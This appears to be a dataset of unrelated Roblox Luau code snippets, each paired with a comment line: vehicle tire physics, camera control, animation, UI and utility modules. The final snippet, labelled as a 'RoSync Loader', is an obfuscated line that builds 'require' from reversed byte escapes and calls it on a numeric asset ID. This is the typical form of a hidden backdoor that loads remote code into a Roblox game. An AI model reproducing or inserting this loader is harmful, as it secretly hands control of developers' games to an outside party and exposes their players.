--Wear Regen
v.Heat = math.min(v.Heat + _WHEELTUNE.RegenSpeed/10000,v.BaseHeat)
else
--Tire Wear
if wdif > 1 then
v.Heat = v.Heat - wdif*deg*v.WearSpeed/28
elseif v.Heat >= v.BaseHeat then
v.Heat = v.BaseHeat
end
end
end
--Apply Friction
if v.wheel.Name == "FL" or v.wheel.Name == "FR" or v.wheel.Name == "F" then
z = _WHEELTUNE.FMinFriction+v.Heat
deg = ((deg - 0.0001188*cValues.Brake.Value)*(1-math.abs(cValues.SteerC.Value))) + 0.00000126*math.abs(cValues.SteerC.Value)
else
z = _WHEELTUNE.RMinFriction+v.Heat
end
--Tire Slip
if math.ceil((wheel/0.774/speed)*100) < 8 then
--Lock Slip
v.wheel.CustomPhysicalProperties = PhysicalProperties.new(v.x,z*_WHEELTUNE.WheelLockRatio,v.elast,v.fWeight,v.eWeight)
v.Heat = math.max(v.Heat,0)
elseif (_Tune.TCSEnabled and cValues.TCS.Value == false and math.ceil((wheel/0.774/speed)*100) > 80) then
--TCS Off
v.wheel.CustomPhysicalProperties = PhysicalProperties.new(v.x,z*_WHEELTUNE.TCSOffRatio,v.elast,v.fWeight,v.eWeight)
v.Heat = math.max(v.Heat,0)
elseif math.ceil((wheel/0.774/speed)*100) > 130 then
--Wheelspin
v.wheel.CustomPhysicalProperties = PhysicalProperties.new(v.x,z*_WHEELTUNE.WheelspinRatio,v.elast,v.fWeight,v.eWeight)
v.Heat = math.max(v.Heat,0)
else
--No Slip
v.wheel.CustomPhysicalProperties = PhysicalProperties.new(v.x,z,v.elast,v.fWeight,v.eWeight)
v.Heat = math.min(v.Heat,v.BaseHeat)
end
--Update UI
local vstress = math.abs(((((wdif+cspeed)/0.774)*0.774)-cspeed)/15)
if vstress > 0.05 and vstress > v.stress then
v.stress = math.min(v.stress + 0.03,1)
else
v.stress = math.max(v.stress - 0.03,vstress)
end
local UI = script.Parent.Tires[v.wheel.Name]
UI.First.Second.Image.ImageColor3 = Color3.new(math.min((v.stress*2),1), 1-v.stress, 0)
UI.First.Position = UDim2.new(0,0,1-v.Heat/v.BaseHeat,0)
UI.First.Second.Position = UDim2.new(0,0,v.Heat/v.BaseHeat,0)
local detectionRay = Ray.new(v.wheel.Position + Vector3.new(0, 5, 0), Vector3.new(0,-5,0)*Distance)
local objecthit, hitposition, surface, material = workspace:FindPartOnRay(detectionRay, car, false, true)
if not material then
material = Enum.Material.Air
end
if (material == Enum.Material.Pebble or material == Enum.Material.Mud or material == Enum.Material.Ground or (material == Enum.Material.Sand and ((objecthit.Color.r>=objecthit.Color.g and objecthit.Color.r-objecthit.Color.b >= 0.11) or (objecthit.Color.g>=objecthit.Color.r and objecthit.Color.g-objecthit.Color.b >= 0.11) or objecthit.Name == 'Terrain') )
or material == Enum.Material.Grass or material == Enum.Material.LeafyGrass) then
GravelSound = true
end
if (material == Enum.Material.Snow) or (material == Enum.Material.Sand and (((objecthit.Color.r>=objecthit.Color.g and objecthit.Color.r-objecthit.Color.b < 0.11) or (objecthit.Color.g>=objecthit.Color.r and objecthit.Color.g-objecthit.Color.b < 0.11)) and objecthit.Name ~= 'Terrain' ) ) then
SnowSound = true
end
if not objecthit then
LocalUpdate(v, material, BrickColor.Black())
car.TireStress:FireServer(v, material, BrickColor.Black())
else
LocalUpdate(v, material, objecthit.Color,objecthit.Name)
car.TireStress:FireServer(v, material, objecthit.Color,objecthit.Name)
end
end
if GravelSound == false then
car.TireStress:FireServer('StopGravel')
LocalUpdate('StopGravel')
end
if SnowSound == false then
car.TireStress:FireServer('StopSnow')
LocalUpdate('StopSnow')
end
end
|
------
|
UIS.InputBegan:connect(function(i,GP)
if not GP then
if i.KeyCode == Enum.KeyCode.L then REvent:FireServer("L",true) end
if i.KeyCode == Enum.KeyCode.H then REvent:FireServer("H",true) end
|
-- extract sanitized yaw from a CFrame rotation
|
local function getYaw(cf)
local _, yaw = cf:toEulerAnglesYXZ()
return sanitizeAngle(yaw)
end
|
-- Movement mode standardized to Enum.ComputerCameraMovementMode values
|
function ClassicCamera:SetCameraMovementMode(cameraMovementMode: Enum.ComputerCameraMovementMode)
BaseCamera.SetCameraMovementMode(self, cameraMovementMode)
self.isFollowCamera = cameraMovementMode == Enum.ComputerCameraMovementMode.Follow
self.isCameraToggle = cameraMovementMode == Enum.ComputerCameraMovementMode.CameraToggle
end
function ClassicCamera:Update()
local now = tick()
local timeDelta = now - self.lastUpdate
local dT = math.min(timeDelta*60, 1)
local camera = workspace.CurrentCamera
local newCameraCFrame = camera.CFrame
local newCameraFocus = camera.Focus
local overrideCameraLookVector = nil
if self.resetCameraAngle then
local rootPart: BasePart = self:GetHumanoidRootPart()
if rootPart then
overrideCameraLookVector = (rootPart.CFrame * INITIAL_CAMERA_ANGLE).lookVector
else
overrideCameraLookVector = INITIAL_CAMERA_ANGLE.lookVector
end
self.resetCameraAngle = false
end
local player = PlayersService.LocalPlayer
local humanoid = self:GetHumanoid()
local cameraSubject = camera.CameraSubject
local isInVehicle = cameraSubject and cameraSubject:IsA("VehicleSeat")
local isOnASkateboard = cameraSubject and cameraSubject:IsA("SkateboardPlatform")
local isClimbing = humanoid and humanoid:GetState() == Enum.HumanoidStateType.Climbing
if self.lastUpdate == nil or timeDelta > 1 then
self.lastCameraTransform = nil
end
local rotateInput = CameraInput.getRotation()
self:StepZoom()
local cameraHeight = self:GetCameraHeight()
-- Reset tween speed if user is panning
if CameraInput.getRotation() ~= Vector2.new() then
tweenSpeed = 0
self.lastUserPanCamera = tick()
end
local userRecentlyPannedCamera = now - self.lastUserPanCamera < TIME_BEFORE_AUTO_ROTATE
local subjectPosition: Vector3 = self:GetSubjectPosition()
if subjectPosition and player and camera then
local zoom = self:GetCameraToSubjectDistance()
if zoom < 0.5 then
zoom = 0.5
end
-- We need to use the right vector of the camera after rotation, not before
local newLookCFrame: CFrame = self:CalculateNewLookCFrameFromArg(overrideCameraLookVector, rotateInput)
local cameraRelativeOffset: Vector3 = cameraOffset.X * newLookCFrame.RightVector + cameraOffset.Y * newLookCFrame.UpVector + cameraOffset.Z * newLookCFrame.LookVector
if self:GetIsMouseLocked() and not self:IsInFirstPerson() then
local targetOffset: Vector3 = self:GetMouseLockOffset()
cameraOffset = cameraOffset:Lerp(targetOffset, CAMERA_OFFSET_SMOOTHNESS * dT)
else
local userPanningTheCamera = CameraInput.getRotation() ~= Vector2.new()
if not userPanningTheCamera and self.lastCameraTransform then
local isInFirstPerson = self:IsInFirstPerson()
if (isInVehicle or isOnASkateboard or (self.isFollowCamera and isClimbing)) and self.lastUpdate and humanoid and humanoid.Torso then
if isInFirstPerson then
if self.lastSubjectCFrame and (isInVehicle or isOnASkateboard) and cameraSubject:IsA("BasePart") then
local y = -Util.GetAngleBetweenXZVectors(self.lastSubjectCFrame.lookVector, cameraSubject.CFrame.lookVector)
if Util.IsFinite(y) then
rotateInput = rotateInput + Vector2.new(y, 0)
end
tweenSpeed = 0
end
elseif not userRecentlyPannedCamera then
local forwardVector = humanoid.Torso.CFrame.lookVector
tweenSpeed = math.clamp(tweenSpeed + tweenAcceleration * timeDelta, 0, tweenMaxSpeed)
local percent = math.clamp(tweenSpeed * timeDelta, 0, 1)
if self:IsInFirstPerson() and not (self.isFollowCamera and self.isClimbing) then
percent = 1
end
local y = Util.GetAngleBetweenXZVectors(forwardVector, self:GetCameraLookVector())
if Util.IsFinite(y) and math.abs(y) > 0.0001 then
rotateInput = rotateInput + Vector2.new(y * percent, 0)
end
end
elseif self.isFollowCamera and (not (isInFirstPerson or userRecentlyPannedCamera) and not VRService.VREnabled) then
-- Logic that was unique to the old FollowCamera module
local lastVec = -(self.lastCameraTransform.p - subjectPosition)
local y = Util.GetAngleBetweenXZVectors(lastVec, self:GetCameraLookVector())
-- This cutoff is to decide if the humanoid's angle of movement,
-- relative to the camera's look vector, is enough that
-- we want the camera to be following them. The point is to provide
-- a sizable dead zone to allow more precise forward movements.
local thetaCutoff = 0.4
-- Check for NaNs
if Util.IsFinite(y) and math.abs(y) > 0.0001 and math.abs(y) > thetaCutoff * timeDelta then
rotateInput = rotateInput + Vector2.new(y, 0)
end
end
end
cameraOffset = cameraOffset:Lerp(ZERO_VECTOR3, CAMERA_OFFSET_SMOOTHNESS * dT)
end
--offset can be NAN, NAN, NAN if newLookVector has only y component
if Util.IsFiniteVector3(cameraRelativeOffset) then
subjectPosition += cameraRelativeOffset
end
if not self.isFollowCamera then
local VREnabled = VRService.VREnabled
if VREnabled then
newCameraFocus = self:GetVRFocus(subjectPosition, timeDelta)
else
newCameraFocus = CFrame.new(subjectPosition)
end
local cameraFocusP = newCameraFocus.p
if VREnabled and not self:IsInFirstPerson() then
local vecToSubject = (subjectPosition - camera.CFrame.p)
local distToSubject = vecToSubject.magnitude
local flaggedRotateInput = rotateInput
-- Only move the camera if it exceeded a maximum distance to the subject in VR
if distToSubject > zoom or flaggedRotateInput.x ~= 0 then
local desiredDist = math.min(distToSubject, zoom)
vecToSubject = self:CalculateNewLookVectorFromArg(nil, rotateInput) * desiredDist
local newPos = cameraFocusP - vecToSubject
local desiredLookDir = camera.CFrame.lookVector
if flaggedRotateInput.x ~= 0 then
desiredLookDir = vecToSubject
end
local lookAt = Vector3.new(newPos.x + desiredLookDir.x, newPos.y, newPos.z + desiredLookDir.z)
newCameraCFrame = CFrame.new(newPos, lookAt) + Vector3.new(0, cameraHeight, 0)
end
else
local newLookVector = self:CalculateNewLookVectorFromArg(overrideCameraLookVector, rotateInput)
newCameraCFrame = CFrame.new(cameraFocusP - (zoom * newLookVector), cameraFocusP)
end
else -- is FollowCamera
local newLookVector = self:CalculateNewLookVectorFromArg(overrideCameraLookVector, rotateInput)
if VRService.VREnabled then
newCameraFocus = self:GetVRFocus(subjectPosition, timeDelta)
else
newCameraFocus = CFrame.new(subjectPosition)
end
newCameraCFrame = CFrame.new(newCameraFocus.p - (zoom * newLookVector), newCameraFocus.p) + Vector3.new(0, cameraHeight, 0)
end
local toggleOffset = self:GetCameraToggleOffset(timeDelta)
newCameraFocus = newCameraFocus + toggleOffset
newCameraCFrame = newCameraCFrame + toggleOffset
self.lastCameraTransform = newCameraCFrame
self.lastCameraFocus = newCameraFocus
if (isInVehicle or isOnASkateboard) and cameraSubject:IsA("BasePart") then
self.lastSubjectCFrame = cameraSubject.CFrame
else
self.lastSubjectCFrame = nil
end
end
self.lastUpdate = now
return newCameraCFrame, newCameraFocus
end
function ClassicCamera:EnterFirstPerson()
self.inFirstPerson = true
self:UpdateMouseBehavior()
end
function ClassicCamera:LeaveFirstPerson()
self.inFirstPerson = false
self:UpdateMouseBehavior()
end
return ClassicCamera
|
--Head
|
R15HeadYFinish = .4 --Max left and right movement of the Head
R15HeadYStart = .2 --Minimum left and right movement of the Head
R15HeadX = .5 --Side to side movement of the Head
R15HeadZ = .3 --Up and down movement of the Head
|
-- loop to handle timed state transitions and tool animations
|
while Character.Parent ~= nil do
task.wait(0.1)
stepAnimate(os.clock())
end
|
--------| Variables |--------
|
local cachedUsernames = {}
|
--------------------------------------------------------------------------------------
--------------------[ WELD CFRAMES ]--------------------------------------------------
--------------------------------------------------------------------------------------
|
spawn(function()
--[[for _, v in pairs(Gun:GetChildren()) do
if v:IsA("BasePart") and v ~= Handle then
if v:FindFirstChild("mainWeld") then v.mainWeld:Destroy() end
if (not v:FindFirstChild("weldCF")) then
local weldCF = Instance.new("CFrameValue")
weldCF.Name = "weldCF"
weldCF.Value = Handle.CFrame:toObjectSpace(v.CFrame)
weldCF.Parent = v
INSERT(gunParts, {Obj = v, Weld = nil})
end
if string.sub(v.Name, 1, 3) == "Mag" then
if (not v:FindFirstChild("magTrans")) then
local magTrans = Instance.new("NumberValue")
magTrans.Name = "magTrans"
magTrans.Value = v.Transparency
magTrans.Parent = v
end
end
v.Anchored = false
end
end
Handle.Anchored = false]]
for _, v in pairs(Gun:GetChildren()) do
if v:FindFirstChild("weldCF") then
INSERT(gunParts, {Obj = v, Weld = nil})
v.Anchored = false
end
end
end)
|
------------------------------------------------------------------------
|
local function StepFreecam(dt)
local vel = velSpring:Update(dt, Input.Vel(dt))
local pan = panSpring:Update(dt, Input.Pan(dt))
local fov = fovSpring:Update(dt, Input.Fov(dt))
local zoomFactor = sqrt(tan(rad(70/2))/tan(rad(cameraFov/2)))
cameraFov = clamp(cameraFov + fov*FOV_GAIN*(dt/zoomFactor), 1, 120)
cameraRot = cameraRot + pan*PAN_GAIN*(dt/zoomFactor)
cameraRot = Vector2.new(clamp(cameraRot.x, -PITCH_LIMIT, PITCH_LIMIT), cameraRot.y%(2*pi))
local cameraCFrame = CFrame.new(cameraPos)*CFrame.fromOrientation(cameraRot.x, cameraRot.y, 0)*CFrame.new(vel*NAV_GAIN*dt)
cameraPos = cameraCFrame.p
Camera.CFrame = cameraCFrame
Camera.Focus = cameraCFrame*CFrame.new(0, 0, -GetFocusDistance(cameraCFrame))
Camera.FieldOfView = cameraFov
end
|
-- A state object which follows another state object using spring simulation.
|
export type Spring<T> = StateObject<T> & Dependent & {
-- kind: "Spring" (add this when Luau supports singleton types)
-- Uncomment when ENABLE_PARAM_SETTERS is enabled
-- setPosition: (Spring<T>, newValue: Animatable) -> (),
-- setVelocity: (Spring<T>, newValue: Animatable) -> (),
-- addVelocity: (Spring<T>, deltaValue: Animatable) -> ()
}
|
--[[Status Vars]]
|
local _IsOn = _Tune.AutoStart
if _Tune.AutoStart and (_Tune.Engine or _Tune.Electric) then script.Parent.IsOn.Value=true end
local _GSteerT=0
local _GSteerC=0
local _GThrot=0
local _InThrot=_Tune.IdleThrottle/100
local _TTick=tick()
local _GBrake=0
local _InBrake=0
local _BTick=tick()
local _ClPressing = false
local _Clutch = 0
local _ClutchKick = 0
local _ClutchModulate = 0
local _RPM = 0
local _HP = 0
local _OutTorque = 0
local _CGear = 0
local _PGear = _CGear
local _ShiftUp = false
local _ShiftDn = false
local _Shifting = false
local _spLimit = 0
local _Boost = 0
local _TCount = 0
local _TPsi = 0
local _TBoost = 0
local _SCount = 0
local _SPsi = 0
local _SBoost = 0
local _NH = 0
local _NT = 0
local _EH = 0
local _ET = 0
local _TH = 0
local _TT = 0
local _SH = 0
local _ST = 0
local _BH = 0
local _BT = 0
local _TMode = _Tune.TransModes[1]
local _MSteer = false
local _SteerL = false
local _SteerR = false
local _PBrake = false
local _TCS = _Tune.TCS
local _TCSActive = false
local _TCSAmt = 0
local _ABS = _Tune.ABS
local _fABSActive = false
local _rABSActive = false
local _SlipCount = 0
local _ClutchSlip = false
local _InControls = false
bike.Body.bal.LeanGyro.D = _Tune.LeanD
bike.Body.bal.LeanGyro.MaxTorque = Vector3.new(0,0,_Tune.LeanMaxTorque)
bike.Body.bal.LeanGyro.P = _Tune.LeanP
|
-- Services --
|
local RunService = game:GetService("RunService")
|
-- Productivity and Expression are both essential to an interface. Reserve Expressive motion for occasional, important moments to better capture user’s attention, and offer rhythmic break to the productive experience.
-- Use standard-easing when an element is visible from the beginning to end of a motion. Tiles expanding and table rows sorting are good examples.
|
local StandardProductive = Bezier(0.2, 0, 0.38, 0.9)
local StandardExpressive = Bezier(0.4, 0.14, 0.3, 1)
|
-- Mimic roblox menu when opened and closed
|
guiService.MenuClosed:Connect(function()
menuOpen = false
if not IconController.controllerModeEnabled then
IconController.setTopbarEnabled(IconController.topbarEnabled,false)
end
end)
guiService.MenuOpened:Connect(function()
menuOpen = true
IconController.setTopbarEnabled(false,false)
end)
|
--Server.PlayerFunctions.CheckUpgradeCosts("UpgradeMoney1")
| |
-- Apply
|
for _, i in pairs(setSkin.Tool.Handle:GetChildren()) do
i:clone().Parent = script.Parent.Handle
end
script.Parent.Handle.Size = setSkin.Tool.Handle.Size
script.Parent.Grip = setSkin.Tool.Grip
script.Parent.NormalGrip.Value = setSkin.Tool.Grip
script.Parent.RotateAxis.Value = setSkin.ThrowRotateAxis.Value
game.ServerScriptService.Functions.SetUpKnifeEffect:Fire(script.Parent.Handle, setEffect)
script.Parent.Effect.Value = setEffect
script.Parent.TextureId = setSkin.IconAsset.Value
|
--Lights = script.Parent.Light
--Clicks = script.Parent.Motorz.Sound
--Lights.BrickColor = BrickColor.new("Really red")
--Clicks:Play()
--wait(2.2)
--script.Parent.Soon.Disabled = true
--script.Parent.Lights.Disabled = true
--script.Parent.Light.BrickColor = BrickColor.new("Really black")
|
script.Parent.Parent.Flushoo.FlushScript.Disabled = false
|
-- double rd_dbl_be(string src, int s)
-- @src - Source binary string
-- @s - Start index of big endian double
|
local function rd_dbl_be(src, s)
local f1, f2, f3, f4, f5, f6, f7, f8 = string.byte(src, s, s + 7) -- same
return rd_dbl_basic(f8, f7, f6, f5, f4, f3, f2, f1)
end
|
--[[
Returns a list of the values of the given dictionary.
]]
|
local function values(dictionary)
local new = {}
local index = 1
for _, value in pairs(dictionary) do
new[index] = value
index = index + 1
end
return new
end
return values
|
-- Maid[key] = (function) Adds a function to call at cleanup
-- Maid[key] = (Instance) Adds an Object to be Destroyed at cleanup
-- Maid[key] = (RBXScriptConnection) Adds a connection to be Disconnected at cleanup
-- Maid[key] = (Maid) Maids can act as an event connection, allowing a Maid to have other maids to clean up.
-- Maid[key] = nil Removes a named task. This cleans up the previous Maid[key]
| |
--//Weight//--
|
VehicleWeight = 1050 --{Weight of vehicle in KG}
WeightDistribution = 70 --{To the rear}
|
--[[ Last synced 7/22/2021 01:40 RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.